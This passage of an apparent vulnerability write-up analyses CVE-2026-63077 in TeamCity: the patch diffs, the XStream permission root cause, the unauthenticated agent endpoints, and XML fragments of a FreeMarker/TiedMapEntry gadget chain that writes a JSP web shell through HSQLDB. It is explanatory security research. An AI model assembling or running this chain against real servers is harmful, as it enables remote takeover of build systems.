+        xStream.addPermission(NoTypePermission.NONE);    // &lt;--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The patched initializer turns the new behavior on before it populates the static allowlist:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="diff"> public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // &lt;--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>XStream's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SecurityMapper.addPermission()</span></span><span style='font-size: undefined;'> clears its permission list when it receives </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>NoTypePermission.NONE</span></span><span style='font-size: undefined;'>. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>allowTypes</span></span><span style='font-size: undefined;'> calls that follow </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> now operate on a deny-by-default baseline, i.e., </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Throwable</span></span><span style='font-size: undefined;'> are no longer allowed types. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TeamCityProperties.getBooleanOrTrue()</span></span><span style='font-size: undefined;'> call at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> means the new property defaults to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>true</span></span><span style='font-size: undefined;'>, so clearing the permission list at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> will now occur by default on a patched server.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Root cause</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map</span></span><span style='font-size: undefined;'> therefore covers classes that implement </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map</span></span><span style='font-size: undefined;'> such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LinkedHashMap</span></span><span style='font-size: undefined;'>, while permitting </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Throwable</span></span><span style='font-size: undefined;'> covers exception subclasses such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RuntimeException</span></span><span style='font-size: undefined;'>. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented </span><span style='font-size: undefined;'><span data-type='inlineCode'>class</span></span><span style='font-size: undefined;'> name or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>class</span><span style='font-size: undefined;'> attribute passes through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SecurityMapper.realClass()</span></span><span style='font-size: undefined;'>. By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>class</span></span><span style='font-size: undefined;'> attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Applied here, this allows a deserialization payload that begins with TeamCity's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage$SchemaMismatchException</span></span><span style='font-size: undefined;'>. This class extends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RuntimeException</span></span><span style='font-size: undefined;'>, so XStream accepts it under the default </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Throwable</span></span><span style='font-size: undefined;'> hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage</span></span><span style='font-size: undefined;'> instance. From there, the exact declared fields </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>myHSQLStorage</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>myDataSource</span></span><span style='font-size: undefined;'> lead XStream to an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>org.apache.commons.dbcp2.BasicDataSource</span></span><span style='font-size: undefined;'>. XStream follows those field types without resolving </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> from an explicit element name or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>class</span></span><span style='font-size: undefined;'> attribute, even though TeamCity </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.2</span></span><span style='font-size: undefined;'> rejects that class when the XML names it directly. The patched version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.3</span></span><span style='font-size: undefined;'> stops the chain earlier by rejecting </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SchemaMismatchException</span></span><span style='font-size: undefined;'>, which is absent from TeamCity's explicit protocol allowlist.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Triggering the vulnerability</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>First, the server accepts an agent registration request via an HTTP POST to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/app/agents/v1/register</span></span><span style='font-size: undefined;'> endpoint, and returns a new session identifier in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TeamCity-AgentSessionId</span></span><span style='font-size: undefined;'> response header.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/app/agents/v1/commands/error</span></span><span style='font-size: undefined;'> endpoint. The handler for this endpoint is the method </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>handleCommands</span></span><span style='font-size: undefined;'>, shown below. This will validate the incoming request’s </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TeamCity-AgentSessionId</span></span><span style='font-size: undefined;'> header before calling the handler for the error command.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // &lt;--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // &lt;--- call the error handler
          }
      }
      return null;
  }</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The method </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>handleCommandIsFailedRequest</span></span><span style='font-size: undefined;'> will then proceed to unsafely deserialize the incoming request’s XML body.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // &lt;--- deserialize attacker's XML

    // ...
}</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>Error.fromXml()</span><span style='font-size: undefined;'> calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>XStreamWrapper.deserializeObject()</span><span style='font-size: undefined;'>. By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The gadget chain</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The gadget chain's objective is to make TeamCity call </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource.getConnection()</span></span><span style='font-size: undefined;'> on an attacker-configured object. That getter starts the following path from deserialization to command execution:</span></p><p></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The payload reconstructs a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> configured to use TeamCity's bundled HSQLDB driver.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A collection callback causes FreeMarker to resolve the JavaBean property </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'>, which invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource.getConnection()</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connectionInitSqls</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The final SQL statement uses HSQLDB's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SCRIPT</span></span><span style='font-size: undefined;'> command to write a malicious JSPWS file into TeamCity's webroot.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Runtime.getRuntime().exec()</span></span><span style='font-size: undefined;'> can be used to execute an attacker-controlled OS command.</span></p></li></ol><p style="direction: ltr;"><span style='font-size: undefined;'>The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> when the XML names it directly, and merely constructing a datasource does not call its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>getConnection()</span></span><span style='font-size: undefined;'> method. </span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Object graph construction</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The payload's XML root is a three-entry </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LinkedHashMap</span></span><span style='font-size: undefined;'>. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'>.</span></p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure1.png" asset-alt="figure1.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" data-sys-asset-uid="blt2a835b1e1c45ab1a" data-sys-asset-filename="figure1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure1.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1: High-level gadget chain flow to </em></span><span style='font-size: undefined;'>BasicDataSource.getConnection()</span><span style='font-size: undefined;'><em>.</em></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LinkedHashMap</span></span><span style='font-size: undefined;'> retains their insertion order in the resulting Java object.</span></p><h5 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Entry one: construct and configure the datasource</span></h5><p style="direction: ltr;"><span style='font-size: undefined;'>The first entry begins with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage$SchemaMismatchException</span></span><span style='font-size: undefined;'>. This class extends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RuntimeException</span></span><span style='font-size: undefined;'>, so XStream accepts it under the default </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Throwable</span></span><span style='font-size: undefined;'> hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>this$0</span><span style='font-size: undefined;'> field pointing to its enclosing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage</span></span><span style='font-size: undefined;'> object. XStream serializes that compiler-generated reference as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>outer-class</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The enclosing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage</span></span><span style='font-size: undefined;'> declares a field named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>myHSQLStorage</span></span><span style='font-size: undefined;'> with the exact type </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLStorage</span></span><span style='font-size: undefined;'>. That class, in turn, declares </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>myDataSource</span></span><span style='font-size: undefined;'> with the exact type </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'>. Because the XML does not represent either field with a new element type or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>class</span></span><span style='font-size: undefined;'> attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="xml">&lt;jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;
  &lt;outer-class&gt;
    &lt;myHSQLStorage&gt;
      &lt;myDataSource&gt;
        &lt;driverClassName&gt;org.hsqldb.jdbc.JDBCDriver&lt;/driverClassName&gt;
        &lt;url&gt;jdbc:hsqldb:mem:&lt;random&gt;&lt;/url&gt;
        &lt;userName&gt;SA&lt;/userName&gt;
        &lt;connectionInitSqls&gt;
&lt;!-- attacker-controlled HSQLDB statements --&gt;
&lt;/connectionInitSqls&gt;
      &lt;/myDataSource&gt;
    &lt;/myHSQLStorage&gt;
  &lt;/outer-class&gt;
&lt;/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;</pre><p></p><p><span style='font-size: undefined;'>XStream encodes the dollar sign in a Java inner-class name as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_-</span></span><span style='font-size: undefined;'> when it creates an XML element name. The element ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage_-SchemaMismatchException</span></span><span style='font-size: undefined;'> therefore identifies the Java class </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage$SchemaMismatchException</span></span><span style='font-size: undefined;'>.</span></p><h5 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Entry two: expose the datasource through FreeMarker</span></h5><p style="direction: ltr;"><span style='font-size: undefined;'>The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter</span></span><span style='font-size: undefined;'>. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter</span></span><span style='font-size: undefined;'> extends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AbstractMap</span></span><span style='font-size: undefined;'>, so XStream accepts the explicit class under its default </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map</span></span><span style='font-size: undefined;'> hierarchy permission.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'> through the exact </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BeansWrapper.falseModel</span></span><span style='font-size: undefined;'> field, then populates the model's inherited </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BeanModel.object</span></span><span style='font-size: undefined;'> field with a reference to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> in entry one instead of a Boolean value. Finally, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter.model</span></span><span style='font-size: undefined;'> refers to that </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="xml">&lt;freemarker.ext.beans.HashAdapter&gt;
  &lt;wrapper&gt;
    &lt;!-- Class-introspection state from the PoC is omitted here. --&gt;
    &lt;falseModel&gt;
      &lt;object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/&gt;
      &lt;wrapper reference="../.."/&gt;
      &lt;value&gt;false&lt;/value&gt;
    &lt;/falseModel&gt;
    &lt;!-- Remaining BeansWrapper state from the PoC is omitted here. --&gt;
  &lt;/wrapper&gt;
  &lt;model reference="../wrapper/falseModel"/&gt;
&lt;/freemarker.ext.beans.HashAdapter&gt;</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The reference attributes preserve object identity rather than create copies. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel.object</span></span><span style='font-size: undefined;'> points to the existing datasource, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter.model</span></span><span style='font-size: undefined;'> points to the existing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel.wrapper</span></span><span style='font-size: undefined;'> points back to the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BeansWrapper</span></span><span style='font-size: undefined;'>. No reference introduces a new concrete class node. In particular, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;object&gt;</span></span><span style='font-size: undefined;'> does not repeat the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> type, so XStream does not perform a new explicit lookup for that denied class. The shared </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BeansWrapper</span></span><span style='font-size: undefined;'> supplies the class introspection used later to resolve the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'> property.</span></p><h5 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Entry three: trigger the property lookup</span></h5><p style="direction: ltr;"><span style='font-size: undefined;'>The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashSet</span></span><span style='font-size: undefined;'>, accepted under XStream's default </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Collection</span></span><span style='font-size: undefined;'> hierarchy permission, and a Commons Collections </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry</span></span><span style='font-size: undefined;'>, accepted under the default </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map.Entry</span></span><span style='font-size: undefined;'> hierarchy permission. A </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry</span></span><span style='font-size: undefined;'> ties a key to a backing map. Here, its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>map</span></span><span style='font-size: undefined;'> field refers to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapte</span></span><span style='color:rgb(24, 128, 56);font-size: undefined;'>r</span><span style='font-size: undefined;'> from entry two, and its key is the string </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="xml">&lt;set&gt;
  &lt;org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
    &lt;map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/&gt;
&lt;key class="string"&gt;connection&lt;/key&gt;
  &lt;/org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
&lt;/set&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>reference</span></span><span style='font-size: undefined;'> value is relative to the nested </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;map&gt;</span></span><span style='font-size: undefined;'> element. Four </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>../</span></span><span style='font-size: undefined;'> steps return to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LinkedHashMap</span></span><span style='font-size: undefined;'> root, and XPath's one-based </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>entry[2]</span></span><span style='font-size: undefined;'> index selects the second entry. Reusing that adapter preserves its connection to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'> and, through the model, to the datasource from entry one.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Object construction now ends with one continuous route: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry</span></span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter</span></span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'>. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry</span></span><span style='font-size: undefined;'> into the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashSet</span></span><span style='font-size: undefined;'>.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Triggering gadget execution</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>A </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashSet</span></span><span style='font-size: undefined;'> stores elements by hash. When XStream inserts the reconstructed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashSet.add()</span></span><span style='font-size: undefined;'> automatically calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TiedMapEntry.hashCode()</span></span><span style='font-size: undefined;'>. That method calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>getValue()</span></span><span style='font-size: undefined;'>, which performs </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>map.get(key)</span></span><span style='font-size: undefined;'> against the referenced </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter</span></span><span style='font-size: undefined;'> with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'> as the key. It is worth noting that this is a mechanism very similar to that used by the classic </span><a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java"><span style='font-size: undefined;'>CommonsCollections6</span></a><span style='font-size: undefined;'> ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ChainedTransformer</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>InvokerTransformer</span></span><span style='font-size: undefined;'> classes used by CommonsCollections6.</span></p><p></p><p><span style='font-size: undefined;'>The resulting call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HashAdapter.get("connection")</span></span><span style='font-size: undefined;'> passes the property name </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>connection</span><span style='font-size: undefined;'> to the referenced </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'>. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BooleanModel</span></span><span style='font-size: undefined;'> inherits FreeMarker's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BeanModel</span></span><span style='font-size: undefined;'> property lookup. JavaBeans use a naming convention in which a property named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connection</span></span><span style='font-size: undefined;'> can be read through a public </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>getConnection()</span></span><span style='font-size: undefined;'> method, so FreeMarker invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource.getConnection()</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A Java </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>DataSource</span></span><span style='font-size: undefined;'> is a factory for Java Database Connectivity (JDBC) connections. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BasicDataSource</span></span><span style='font-size: undefined;'> is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized </span><span style='color:rgb(24, 128, 